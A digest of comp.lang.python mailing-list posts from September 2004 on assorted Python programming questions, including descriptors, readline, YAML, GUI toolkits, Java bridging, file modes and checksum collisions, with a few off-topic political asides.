type(getattr(C,attr)) ... __class__ __delattr__ __dict__ __doc__ __getattribute__ __hash__ __init__ __module__ __new__ __reduce__ __reduce_ex__ __repr__ __setattr__ __str__ __weakref__ For instance object.__new__ is a "builtin_function_or_method" > About the other objects: I only cared about wrapping class methods. > Shouldn't I have / should I use something else than FunctionType? Yes, if you want to wrap staticmethods/classmethods and custom descriptors. > There is one thing though; methods that you're accessing trough the > class's __dict__ (which is what the meta class is doing, right?) > are of type , rathar than which I expected: > > >>> class A: > ... def meth(self): pass > ... > >>> type(A.meth) > > >>> type(A.__dict__['meth']) > > >>> > > Why is this? Google for Raymond Hettinger essay on descriptors and you will have the answer. There is no real difference between functions and methods, they are all descriptors and can be converted each other. For instance, this converts a function to a bound method: >>> def f(self): pass ... >>> f.__get__(C(),C) # magically converts the function to a bound method > >>> f.__get__ You should really look at Raymond's essay to understand what is going on under the cover when you write >>> C.m = f # magically convert the function to a bound method >>> C().m > Michele Simionato From martin at v.loewis.de Sun Sep 5 05:20:51 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 05 Sep 2004 11:20:51 +0200 Subject: extending Python error In-Reply-To: References: <4139bfd3$0$24800$9b622d9e@news.freenet.de> <1094305410.4139c682b1dc0@www-mail.usyd.edu.au> <4139CE64.5090708@v.loewis.de> Message-ID: <413ada6c$0$13008$9b622d9e@news.freenet.de> Ajay wrote: > C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5395) : > error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1 > from 'const unsigned short *' to 'const char *' > Types pointed to are unrelated; conversion requires > reinterpret_cast, C-style cast or function-style cast So what is line 5395 of atlbase.h? Regards, Martin From hung_ho at rogers.com Thu Sep 2 14:44:04 2004 From: hung_ho at rogers.com (Hung ho) Date: Thu, 02 Sep 2004 18:44:04 GMT Subject: explainations about standard library and modules in Python. Message-ID: Hi. I just finished reading an introductory Python book called "Python Programming for the absolute beginner" by Michael Dawson. I found it very interesting, and easy to follow. Python does really look similar to C/C++ and Java. In the book, the author imported other modules that were from the standard library of Python. I tried reading some of the modules in the standard library in Python's Lib folder. I'm just a beginner to Python, and didn't understand anything in any of the modules. My question is that, can anyone recommend me any book, or online materials that could explain what the functions some of the modules in the standard library can do that are packaged along with Python v. 2.3.4?. For example, I read some modules such as os.py, sys.py, and random.py The documents in those modules didn't help me to comprehend what the purpose of the modules, and how to use them in Python. What are their functions, and how do I use them. Thank You. From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Tue Sep 21 04:44:20 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Tue, 21 Sep 2004 08:44:20 -0000 Subject: Xah Lee's Unixism References: Message-ID: <10kvqf4sr02fia0@corp.supernews.com> # >They have committees, they don't have independent # >intelligence-gathering ability. # > # Neither does President Bush - he doesn't have time for all those field # trips. That's why he gets reports from the various intelligence # agencies, who also report to the Congressional intelligence # committees. You're right. He is the Excuses president. In case you missed reading the Constitution in school, briefly, the CIA, the DoD and its intelligence staffs, the State Department and its intelligence staffs, the FBI, DoJ, BATF, etc etc etc etc are all part of the executive branch. The only elected officer of the executive branch, from whom all other executive officers draw their authority, is the President. In short, ding dong, the President _does_ have independent intelligence gatherring ability. It's called the executive branch, and it's at his beck and call for all legal orders. It's that commander in chief bit. -- SM Ryan http://www.rawbw.com/~wyrmwif/ I have no respect for people with no shopping agenda. From erik at heneryd.com Mon Sep 13 12:43:52 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 13 Sep 2004 18:43:52 +0200 Subject: help: up/down arrows in 2.3.4 interactiv In-Reply-To: References: Message-ID: <4145CE48.50605@heneryd.com> Jerald wrote: > Hi. > > I've just installed 2.3.4 from the source on a linux box. > In the interactive mode, up/down arrows do not work. > When I press 'up' python prints '^[[A' and down gives '^[[B' > What is wrong? > > Thanks, > > Gerald You need to build the readline module. Enable it in Modules/Setup and do make, make install again. (assuming you got the readline lib+headers to begin with) Erik From jerf at jerf.org Wed Sep 1 16:38:56 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 01 Sep 2004 20:38:56 GMT Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> Message-ID: On Wed, 01 Sep 2004 12:59:20 -0700, Mark Hahn wrote: > On Wed, 01 Sep 2004 07:19:21 -0400, Peter Hansen wrote: >> http://pyxie.sourceforge.net/ >> >> Best to avoid homonyms too, I think. Try again. > > I see no problem with homonyms, unless it was another computer language. I too would recommend against this. Basically, all the *really* cute Py* names are taken. I'd recommend doing something that cleanly separates you from Python, and then just note the descendance. The farther you are getting from an implementation of Python, the more true this becomes. I think you will actually come to regret the association if you make it too strong, as people will get ideas about your language from the association, then be upset about the language when it doesn't meet their expectations. Better to start fresh. From ville at spammers.com Fri Sep 24 09:55:25 2004 From: ville at spammers.com (Ville Vainio) Date: 24 Sep 2004 16:55:25 +0300 Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) References: <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> Message-ID: >>>>> "Luis" == Neuruss writes: Luis> Now you see China, India, Brazil and other countries that Luis> are doing well, improving the condition of their Luis> inhabitants, getting them out of missery and incorporating Luis> them to the global market. Those foreigners buy american Luis> products, now more than before because they have more money, Lkuis> thus improving the profit of the monsters mentioned above. What are these American products they are buying? Coca Cola and Big Macs (which are probably locally produced)? MSFT Windows? I don't really see a need for any American products when much cheaper alternatives are available, from Asia and elsewhere. However, that's all irrelevant. Corporations are going to move jobs away from the US anyway, because it makes sense financially. If they can save a buck, it doesn't matter if that puts 1000 (perceivedly) overpaid americans out of their jobs. It's not like those specific laid-off workers were using their salaries to buy the company products in the first place. Luis> This is the internet age. I hope that it contributes to make Luis> the poor less poor and the rich not so rich, and maybe, in a Luis> distant future we will have a better world for all of us. Well, at least it contributes to making the rich (people, not countries) much richer, while reducing the overall wealth of rich countries. I guess it won't be the end of the world if the first world countries can bear the burden of the resulting unemployment - it's much more comfortable to be poor in a country that doesn't routinely hit -20C on winters ;-). Personally, I don't care much either way because Finland is one of those countries with low salaries for engineers, with the unfortunate twist of the cost of living being high as well. -- Ville Vainio http://tinyurl.com/2prnb From jjl at pobox.com Sat Sep 25 09:27:19 2004 From: jjl at pobox.com (John J. Lee) Date: 25 Sep 2004 14:27:19 +0100 Subject: html processing References: Message-ID: <874qlma37s.fsf@pobox.com> Ismael Herrera writes: [...] > So the htmllib is a regex search with empty methods? i can do that by > myself, no need use a parser, i am a litle confused in this. It's a little more complicated than that. But feel free to rewrite sgmllib.py if you so please. > Is there a python html parser that creates objects from html sources,like > xml.dom? Yes, many. Which one is best for you depends on what it is you're trying to do. John From jkugler at bigfoot.com Sat Sep 11 03:21:12 2004 From: jkugler at bigfoot.com (Joshua Kugler) Date: Fri, 10 Sep 2004 23:21:12 -0800 Subject: VB(ish) replacement References: Message-ID: <4142a768@news.acsalaska.net> If you are looking to stay close to VB, here are some to look at: http://hbasic.sourceforge.net/ http://gambas.sourceforge.net/ Or for something completely different: http://www.naken.cc/vb2c/ http://www.gnome.org/projects/gb/ Gnome basic, now dead. However, mbas, the Mono Basic *is* alive and well, and might be what you are looking for: http://www.go-mono.com/mbas.html (site not accessible at time of post). I may start a flame war with this, but from what I understand, VB is actually a distant descendant of Ruby. So, that might tell you something. j----- k----- Dave Boland wrote: > The other day I was asked if there is an open source replacement for VB6 > that is cross-platform. I spent a little bit of time at Barnes-Noble > and looking at news groups, but don't have a good answer. Hope you can > help without geting into a language war. These will be for commercial > applications with a GUI. > > What they seem to be looking for is: > 1. High level language, but not necessarly VB compatible. > 2. OOP > 3. Reasonalble learning curve > 4. Cross-platform > 5. IDE and ability to graphically design windows. > 6. Distribute programs as .exe's, so some sort of compiler needed. > 7. Serial communications library (RS-232, 485, USB) > 8. SNMP library > 9. Good performance (not expected to be as fast as C/C++) > 10. Windows are native to each O.S. > 11. Database support of Access and MySQL > > It looks like any of the three languages have most or all of what they > need, but I don't use scripting languages enough to give a good answer. > > Dave, From vincent.touquet at gmail.com Mon Sep 6 12:35:12 2004 From: vincent.touquet at gmail.com (Vincent Touquet) Date: 6 Sep 2004 09:35:12 -0700 Subject: embedding Python and changing stdin, stdout and stderr In-Reply-To: <7ed8f64d.0409030425.211e5a9c@posting.google.com> Message-ID: Thanks for the link, there are spaces between the +-es though, so anyone following the link should just remove them first :) Another solution to my problem would be an interactive Python interpreter written in Python, which I could run atop of the embedded Python/Jython (that works like a charm, except the fact that the parser reads from the C stdin constant FILE* file descriptor, which is a PITA to plug into in a portable way, as FILE is very much platform and compiler specific ...), and for which replacing the source of the parser should be much easier and portable (Python code is nicely portable) than it would be to change the source of the parser of Python itself (note: I'm talking about _interactive_ mode, if the parser reads from a file it is very easy to change the sourcefile the parser reads from of course). I know that IDLE exists, but it depends on Tk, I'd rather have an interactive Python interpreter written in Python that is a console app, so I want minimal extra dependencies :) Any takers ? best regards, Vincent From rogerb at rogerbinns.com Sun Sep 19 02:32:28 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Sat, 18 Sep 2004 23:32:28 -0700 Subject: Closed-source, possible? References: Message-ID: <33mv12-v6q.ln1@home.rogerbinns.com> Davis Chord wrote: > I've heard/seen/used the pyc program that turns your .py files into > .pyc files, but I'm wondering how easily someone can get to your > source from these compiled files. If it's not possible to have a > portable progam thats' source cannot be easily accessed (or at all > :P), then open-source is just easier. That exact topic comes up fairly frequently on this list. I would suggest reading the archives first which you can do at either of these links: http://news.gmane.org/gmane.comp.python.general http://groups.google.com/groups?group=comp.lang.python Roger From rschroev_nospam_ml at fastmail.fm Fri Sep 24 10:38:38 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Fri, 24 Sep 2004 14:38:38 GMT Subject: file read, binary or text mode In-Reply-To: <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> Message-ID: Guyon Mor?e wrote: > ok, i have huffman encoding code. > > this is actually build for text, but because python can also read a binary > file as a string, this applies equally well :) > > but, i was just wondering if this gives any problems if I use text-mode read > for the binary files and vice versa. > > If I undertand correctly now, using binary mode is _always_ save, right? It's safe in the sense that everything goes out exactly as it came in. For example, gzip uses binary mode even when compressing text files. The files may be text, but gzip doesn't care about that. It doesn't care about words, sentences and line endings, but it does care about representing exactly the bytes that are in the file. Editors, diff, wc, ... use text mode. cp, tar, gzip, ... use binary mode. -- "Codito ergo sum" Roel Schroeven From peter at engcorp.com Tue Sep 7 09:17:06 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 07 Sep 2004 09:17:06 -0400 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: <1stv02-qlp.ln1@home.rogerbinns.com> References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> Message-ID: Roger Binns wrote: > http://maurizio.giampy.it/apg/ > > It was how I came up with Entrocul and BitPim :-) Since most of the ones it generates are useless for this discussion, I thought I'd give the several potential ones that it popped up for me amidst the crap: dophon cowbird I kinda like the second one... (it said it's pronounced "cowb-ird" though, so maybe it wouldn't do. ;-) -Peter From ThisIsNotMyReal at ddress.com Wed Sep 22 20:44:58 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Thu, 23 Sep 2004 00:44:58 GMT Subject: Check for keystroke <--Nevermind References: Message-ID: stdscr.nodelay(1) Gah, I'm a retard. Brian wrote in news:Xns956C6558D1D9Anonenonecom at 24.93.43.121: > Inside a loop, I need to passively check to see if a key is pressed or > not without pausing like raw_input does. Some pseudocode: > > While true: > If a key is pressed > which key is pressed > > do other stuff inside loop > > > Google groups turned up this thread: > > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th= > 3221aa1ee6ef2ec2&seekm=2259b0e2.0307310800.3310ec83% > 40posting.google.com&frame=off > > TinyURL: http://tinyurl.com/4chqh > > > But neither the pygame or curses solution worked. Any new thoughts on > this? > From carribeiro at gmail.com Fri Sep 3 16:57:58 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 17:57:58 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: References: Message-ID: <864d370904090313573d3acaa8@mail.gmail.com> On Fri, 03 Sep 2004 20:26:13 GMT, Paul McGuire wrote: > (What if you wrote a sorted_iter that would iterate over an existing list in > sorted order?) I wrote about it earlier today. The proper way to do it is through a generator. This way you can sort a sequence and use just a small part of it -- maybe just the top few items or so. I proposed the name xsorted() to keep company with xrange(), but that's being deprecated, so I really don't know if it's worth it at this point. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From M.Waack at gmx.de Tue Sep 28 16:30:20 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Tue, 28 Sep 2004 22:30:20 +0200 Subject: using threads with for-loops References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: Peter Hansen wrote: > Mathias Waack wrote: >> Have you ever seen machines with more than one CPU? > > Why yes, I have! And have *you* seen an implementation > of Python which will effectively use those multiple CPUs > in code like that above which runs in a single process? Ok, I've lost: I haven't seen such implementation and don't know much about the thread-layer of Python. >> The code above is perfectly suited for parallelization. > > Yes, it is. Once you take into account implementation > issues (e.g. the GIL), would you still think so? Depends. Which means: don't know. If I would start thinking about creating threads to gain a speedup, I would even think about switching to another programming language. Mathias From cce at clarkevans.com Mon Sep 20 15:45:19 2004 From: cce at clarkevans.com (Clark C. Evans) Date: Mon, 20 Sep 2004 15:45:19 -0400 Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> Message-ID: <20040920194519.GA8852@prometheusresearch.com> Andrew, Thank you for taking some serious time looking at PyYaml, I'm not surprised you have found problems; the entire code base was written in a very short amount of time and numerous short-cuts were taken. Tim Parkin has decided on a complete rewrite of PyYaml and that's great news. For now, you may want to consider using syck, but even then, you can probably find exploits if you dig hard enough. Patches are, of course, warmly received. Primary comments on this thread: - YAML was intended from the first day to be a cross-language serialization tool. In a mixed-language environment (we use Ruby, Python and on occasion Perl) YAML is a very nice to use. - Unlike XML, YAML has a information model which closely matches the needs of programming languages. I can't express how important this is. We have spent a great deal of time on the model, YAML simply isn't a data format. We are working on transformation languages, and other generic tools. - YAML was created for human reading / authoring. We have spent an enormous amount of time working with real use cases of data to find a very clean expression of structured data. If you like Python's use of whitespace to show structure, you will probably like YAML. While automated generation of YAML isn't that pretty, it eventually will be. - This is a long term project; YAML is designed with the idea that data lives far longer than programs. We are taking our time. We have also strived for 'consensus' when possible, this may seem to slow down specification and implementation work, however, we are better for it. There are lots of people who have provided critical insights for YAML and it's been a delightful community. - Implementing YAML isn't easy. At every step of the way the consensus has been to keep a clean information model and have lots of human presentation options. The only time we favored an implementation issue over presentation is when it would prevent YAML from being used in a streaming application. Therefore we have stuck with very minimal look-ahead requirements. That said, if you are looking for a LR(1) grammar for ANTLR or Bison, I don't think one exists; but, alas I'll be gladly proven wrong. - YAML isn't an efficient binary format. Pickle or something like Jelly's s-expressions will be far faster to parse and load. - Finally, everyone working on YAML has full time job; we do not have grant funding or university backing. Therefore, implementations will take time to mature; especially considering the complexity of the tradeoffs. I hope this is helpful to you. Clark From nid_oizo at yahoo.com_remove_the_ Thu Sep 23 14:33:53 2004 From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury) Date: Thu, 23 Sep 2004 14:33:53 -0400 Subject: up with PyGUI! In-Reply-To: <41530803.3090805@zephyrfalcon.org> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <41530803.3090805@zephyrfalcon.org> Message-ID: Hans Nowak wrote: > I'm not sure it's *that* much easier... all you're saving is one parameter. Easier is probably not the good word. It is less redundant and less error-prone. It has happened to me to make mistakes in ownership of widgets when copy-pasting code, when these errors would not have occured if the parent parameter was not passed. It is also more usable, since you can do things like: myFrame.SetMenuBar(MenuBar([ Menu("File", [ Item("&New\tCtrl+N", self.onNew), Menu("Some sub menu...", ...)] Menu("Edit", ...)] The problem is that that explicit cross-referencing between parent and child forces the parent to be created before, removing capabilities like that one. >> Another thing I'm suggesting is a mechanism to not destroy a widget >> until it's corresponding python object is destroyed. It's more >> complex, but Python has already ownership with refcount, garbage >> collection, etc. and I think a truly pythonic GUI framework should use >> the same ownership mechanism. > > > Hm. I'm not sure how wxPython handles that, and if it would be possible > to impose such a system on top of it. I honestly don't know. I guess a solution could be to create a frame in two passes, and the wx.Frame created after the first pass is used as parent of everything created in second pass. Also, the wxPython mechanism could be completely hidden behind the wrappers. The wrappers can contain all necessary information to create the widgets, allowing widgets to be created with a parent when addded to it and even recreated with another parent if added later to something else. This way the user will not even have to think about the ownership issue. > Wax follows the wxPython standard here. Since most Wax controls derive > directly from wxPython classes, it would make little sense to add > lowercase methods to the mix (next to the existing uppercase methods), > or to convert them. Sorry, I though they were complete wrappers as in PythonCard. I totally agree to keep things that way if wx widgets are inherited. Regards, Nicolas From mlh at furu.idi.ntnu.no Sat Sep 11 12:48:18 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 Sep 2004 16:48:18 +0000 (UTC) Subject: ANN: Python Graph Wiki References: Message-ID: In article , Andrew Dalke wrote: >Magnus Lie Hetland wrote: >> Others have been able to add some material. Perhaps you could try >> again? (And -- do you have any more specifics on how things failed?) > >For me my post and my previews time out after 60 >seconds and the changes never get on the page. Hm. How weird. Anyway -- based on a suggestion (not really sure by whom -- this is the nature of wiki ;) I've moved the wiki to the Python wiki: http://www.python.org/cgi-bin/moinmoin/PythonGraphApi Hopefully that should work OK. (Was it you who suggested this, Skip? You seem to be the only one who has subscribed to the page...) -- Magnus Lie Hetland The time you enjoy wasting is not wasted time http://hetland.org -- Bertrand Russel From foo at bar.com Fri Sep 3 18:57:10 2004 From: foo at bar.com (Steve Menard) Date: Fri, 03 Sep 2004 18:57:10 -0400 Subject: use of Java modules In-Reply-To: <2pp4v4Fnp39vU1@uni-berlin.de> References: <2pp4v4Fnp39vU1@uni-berlin.de> Message-ID: <5ANZc.28456$681.376020@weber.videotron.net> Luis P. Mendes wrote: > Hi, > > I have a Python program that needs to interact with Java as follows: > > 1- A website supplied me java code that is able to perform some web > services; > 2- my Python program triggers some events; > 3- I would like to use that java code when an event is triggered, instead of > having to recode everything in Python; > 4- I know nothing about java, don't even know what .jar .class and .java > files are used for; > 5- I've checked Jython.org but I don't know if it is what I was looking for, > because, preferably, I wouldn't like to have to learn Java; > 6- Example: is it possible to import a java function such as connect() and > use it in my Python program directly using parameters like: > z1=value1 > z2=value2 > if TRUE: > connect(z1,z2) <-- java function with z1 and z2 > 7- is it possible to have, as other example: > var1, var2 = JAVA_FUNCTION(z1,z2) > > So,my question are: > is Jython the way to do it? if not, how? > are there tutorials for extreme begginers in using another language in > Python? > > Luis There are actually many ways for python to use Java classes. There is Jython. This works well if you python code is compatible. This means any python libraries you use must be jython-compatible. Also, python-language-wise, jython is still arounf puthon 2.1 afaik. Secondly, tehre is JPype ( http://jpype.sourceforge.net ). It still alpha (and even that can be termed generous hehe). This is my prefered option, since I am it's developper hehe. In theory it should eventually allow you to use any Java class as though it were a python class. Thirdly there is spiro (http://www.freenet.org.nz/python/spiro/) I have no experience with it, but I know it bridges the Python and Java VM by using CORBA. Lastly there was JPI, a interface generator that would expose specific java classes to python. the website seems to be down though ... All these solutions have one thing in common though ... you will have to learn a bit about java. No so much as to need to program in it, but enough to set up environment and classpath, etc ... If you decide to use JPype, you get support for free ;) Hope this helps, Steve From zathras at thwackety.com Sun Sep 19 06:04:21 2004 From: zathras at thwackety.com (Michael Sparks) Date: Sun, 19 Sep 2004 11:04:21 +0100 Subject: Microthreads without Stackless? References: <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <8cf9f521.0409181021.6db6a3e4@posting.google.com> <653b7547.0409182157.4339613@posting.google.com> Message-ID: <414d6080$0$17924$ed2619ec@ptn-nntp-reader02.plus.net> Patrick Maupin wrote: > In other words, to > me, the whole point of using coroutines is to make reasoning about the > system easier (of which reducing code is sometimes a large part). (So > color me un-academic :) Assuming a language has stackful coroutines, can you *guarantee* for me that in the following the filehandle is always closed? (Assume that processFile is called from inside the start point for a co-routine, and that function reference process passed through is where the co-routine switching occurs. def processFile(filename, process): try: f = open(filename) try: for i in f: process(i) f.close() except: f.close() except IOError: print "Couldn't open file, didn't do anything" I would argue that you cannot, unless you start placing restrictions on the coroutines in a way you (and others) haven't detailed. (Such as ensuring that when you throw something like exceptions.SystemExit that it propogates through all the co-routines and hits all the bare except clauses and isn't stopped by any single one of them.) The correctness of the code above is predicated on the assumption that all the calls it makes to other functions will resume immediately. With stackful coroutines you cannot guarantee this, and as a result reasoning accurately about code like this is near to impossible in the general case. Any implementation of coroutines or co-routine type behaviour has to take this sort of case into account IMO - or else reasoning about even simple cases and guaranteering correctness becomes much more difficult. (Consider "process" being object and "object.process" in the use case above) Regards, Michael. From ruchika_khera at hotmail.com Fri Sep 10 02:19:20 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 9 Sep 2004 23:19:20 -0700 Subject: Can we use /MAKE inside the popen3 command? Message-ID: <82880e86.0409092112.2a5ce2b3@posting.google.com> Is it OK to use "/" or "-" characters in a string and then use that string inside the popen3 command? I am doing the following - os.popen3('r'"C:\Program Files\... \EVC.exe"' r'"C:\Test\...\Test.vcp"' /MAKE "GFSDK - Win32 (WCE ARMV4) Release" /REBUILD"') When I run this command in the Python shell, it says - "Syntax Error" and the marker is uderneath the "-" in "GFSDK - Win32 (WCE ARMV4) Release". Not sure if the marker is actually pointing to specifically "-" or the entire /MAKE "GFSDK - Win32 (WCE ARMV4) Release" string. Anyone else came across similar problem? Thanks for your help. Ruchika From __peter__ at web.de Thu Sep 2 04:23:37 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 02 Sep 2004 10:23:37 +0200 Subject: invalid token problem ? References: <5db3bf00.0408310133.39de601c@posting.google.com> <5db3bf00.0409012355.2c502b79@posting.google.com> Message-ID: tag wrote: > Thomas Kr?ger wrote in message > news:... > >> Your XML is not well-formed. All quotation marks in CDATA fields (outside >> of a tag) must be quoted to ". > > I got that part :) > >> You XML should be: >> ="Actual Asset mix >> "&text($C$46,"dd-mmm-yyyy") >> > > but they are - it is complaining about the : > &text part ... the '"' 's are converted into " ... > > any other suggestions ? I think you misunderstood - the original xml is invalid. In your short snippet you could remedy that by snippet = snippet.replace("&", "&") _before_ feeding it to the parser. Unfortunately this doesn't work in the general case because not all occurences of '&' may be literal ampersand chars and not all occurences of '<' and '>' may be markup. Therefore what you need to do is to fix the program that _generates_ the invalid xml not the one that tries to parse it and fails. If the generating program is in python, you can use xml.saxutils.escape() to process the literal text snippets, but only those. Peter From Cameron at Phaseit.net Thu Sep 30 21:53:02 2004 From: Cameron at Phaseit.net (Cameron Laird) Date: Fri, 1 Oct 2004 01:53:02 +0000 Subject: Social Analysis and Modeling for Python In-Reply-To: <415C1B51.7070605@cloudthunder.com> References: <415AD6A4.7000400@cloudthunder.com> <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> <415C1B51.7070605@cloudthunder.com> Message-ID: <20041001015302.GA530@lairds.us> On Thu, Sep 30, 2004 at 10:42:25AM -0400, Bishara Gabriel wrote: > Envelope-to: claird at lairds.us > Delivery-date: Thu, 30 Sep 2004 14:30:21 +0000 > Disposition-Notification-To: Bishara Gabriel > From: Bishara Gabriel > Reply-To: python-list at python.org > To: Cameron Laird , python-list at python.org > Subject: Re: Social Analysis and Modeling for Python > X-spam-score: 0.0 > X-spam-score-int: 0 > X-spam-bar: / > X-spam-report: > > Cameron Laird wrote: > > >In article , > >Bishara Gabriel wrote: > > > > > >>Latest Revision of Social Analysis and Modeling in Python: > >>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf > >> > >> > > > >Recognition of SimPy greatly comforts me. > > > > > > > Glad to hear it. That was Tim's fantastic suggestion. > > >Is your thesis that OOP is good for social sciences in contrast to other > >sciences, or as with other sciences? If the latter--as I believe--than you > >need to alert readers to Python's existing record of success in serving the > >sciences (see, for example, the recent SciPy Conference). > > > > > > > Not in contrast, no. Excellent suggestions, we shall incorporate them > immediately. > > >I don't like formulations such as "one-to-one correlation between their > >theoretical model and the Python equivalent." It says both too little and > >too much. If this were my proposal, I'd aim for the far more powerful, > >"this project demonstrates Python's suitability as a vehicle which > >simultaneously expresses a theoretical model in a way researchers > >understand, and calculates the consequences of that model with a speed > >and reliability humans don't match." > > > > > > > Noted, you can expect the modification to be made immediately. > > >Do you realize how ambitious your "Proposal Specifics" sound? How many > >hours do you estimate these seven achievements will require? What are > >the "loadings" of your Project Manager and Chief Consultant? > > > > > > > The majority of the work will be carried out by the project manager (I) > and a team of 10 interested and well skilled students. Ambitious our > project is indeed, yet we are confident in our abilities. > > >For you, is "theoretical economics" inherently and comprehensively > >Marxian, or are you claiming expertise only in that part of it which is > >Marxian? > > > > > I do not attempt to conflate theoretical economics with Marxism. > Indeed, Marxian class analysis will be our entry-point because it is an > area of particular expertise and thus allows for us to add to that realm > in an immensely significant manner. As our tools and materials intend > to reflect the broad applicability of Python in the social science we > will work with academics in those other fields to insure support for the > specifics their research. I understand better. Thank you. From aisaac at american.edu Tue Sep 28 07:31:37 2004 From: aisaac at american.edu (Alan G Isaac) Date: Tue, 28 Sep 2004 07:31:37 -0400 Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> <10lc6dseqo1185e@corp.supernews.com> Message-ID: <10liio18vhds7f6@corp.supernews.com> "Michael Hoffman" wrote in message news:cj57cj$1d3$1 at pegasus.csx.cam.ac.uk... > I imagine the file in the archive was created on a DOS-type system, > where the line ending is \r\n. That's what you read in. When you write > it out in "w" mode the \n is expanded to \r\n without checking to see if > there is already a \r beforehand. So you get \r\r\n. Thanks; that addresses my basic misconception about writing in textmode. I had thought that writing in textmode produced a platform specific conversion of the text written, but I now understand that this only affects how \n is written. > If you want to be able to get "universal newline" input from your > zipfile, consider piping input through this generator and using "w" mode: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/286165 Very helpful. Thanks, Alan Isaac From http Fri Sep 10 03:54:02 2004 From: http (Paul Rubin) Date: 10 Sep 2004 00:54:02 -0700 Subject: Shorter checksum than MD5 References: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <7xllfjfe9m.fsf@ruckus.brouhaha.com> <7x8ybi8szi.fsf@ruckus.brouhaha.com> Message-ID: <7xoeke7e5h.fsf@ruckus.brouhaha.com> Paul Rubin writes: > > If all 2**32 checksums are equally likely, the probability of a > > collision is only about 0.0000232828. > > That's incorrect, the probability is much higher. It's more like 0.7. I should be clear: the claim was, if you have 100000 records and 32-bit hash, with probability around 0.7, some two records will have the same hash. That makes some uses of the hashes inappropriate. However, if you only care about record #n on system A accidentally colliding with record #n on system B, rather than about it colliding with an arbitrary other record, then you're in much better shape. If you're worried about intentional collisions that an attacker might construct, rather than only about accidental collisions, you need a longer hash regardless of the number of records. From peter at engcorp.com Sun Sep 12 18:07:39 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 Sep 2004 18:07:39 -0400 Subject: traversing yahoogroups group messages In-Reply-To: <10k9a0nhcfai703@corp.supernews.com> References: <10k9a0nhcfai703@corp.supernews.com> Message-ID: <8u2dnbXKVOwxVdncRVn-vA@powergate.ca> lothar wrote: > i want to traverse a set of messages in a Yahoogroups group from a Python > program. > > to get to the messages of the group, one must log in. > > this presents, i think, two problems, > 1) handling the form element for the login, which has a javascript submit > routine, > 2) keeping login state with cookies. > > to someone who knows something about the issues here, my questions are: > > 1) is it possible to do this in Python? Yes. > 2) if so, how do i handle the form and the javascript? There are a variety of approaches, including ones which depend on which platform you are using (e.g. Win32, Linux, other?) and which depend on how sophisticated and flexible you want the result to be. > 3) does Java Python have a javascript engine and do i need Java Python here? Do you realize that Java has absolutely nothing to do with Javascript except forming part of its name? And no, you don't need it here. > 4) if i need to use cookies, how do i know what to name and what to set into > a cookie? By asking the server, and watching the cookies that come back from it. The ClientCookie module would presumably help. You could also just turn off cookies in your browser and access the site, and see if it still works... maybe you don't need them at all. > for context, i include the form element below. > the submit routine hash() is javascript. There have been similar questions and many responses on this subject in the past. I suggest using Google Groups to check the newsgroup archives, using search words such as "web scraping", possibly paying close attention to any threads with responses by Cameron Laird or John J Lee. ;-) -Peter From godoy at ieee.org Thu Sep 16 22:44:10 2004 From: godoy at ieee.org (Jorge Godoy) Date: Thu, 16 Sep 2004 23:44:10 -0300 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: >> I remember iBooks starting at something like US$ 2100.00... That's more >> than half of the Dell :-) > > 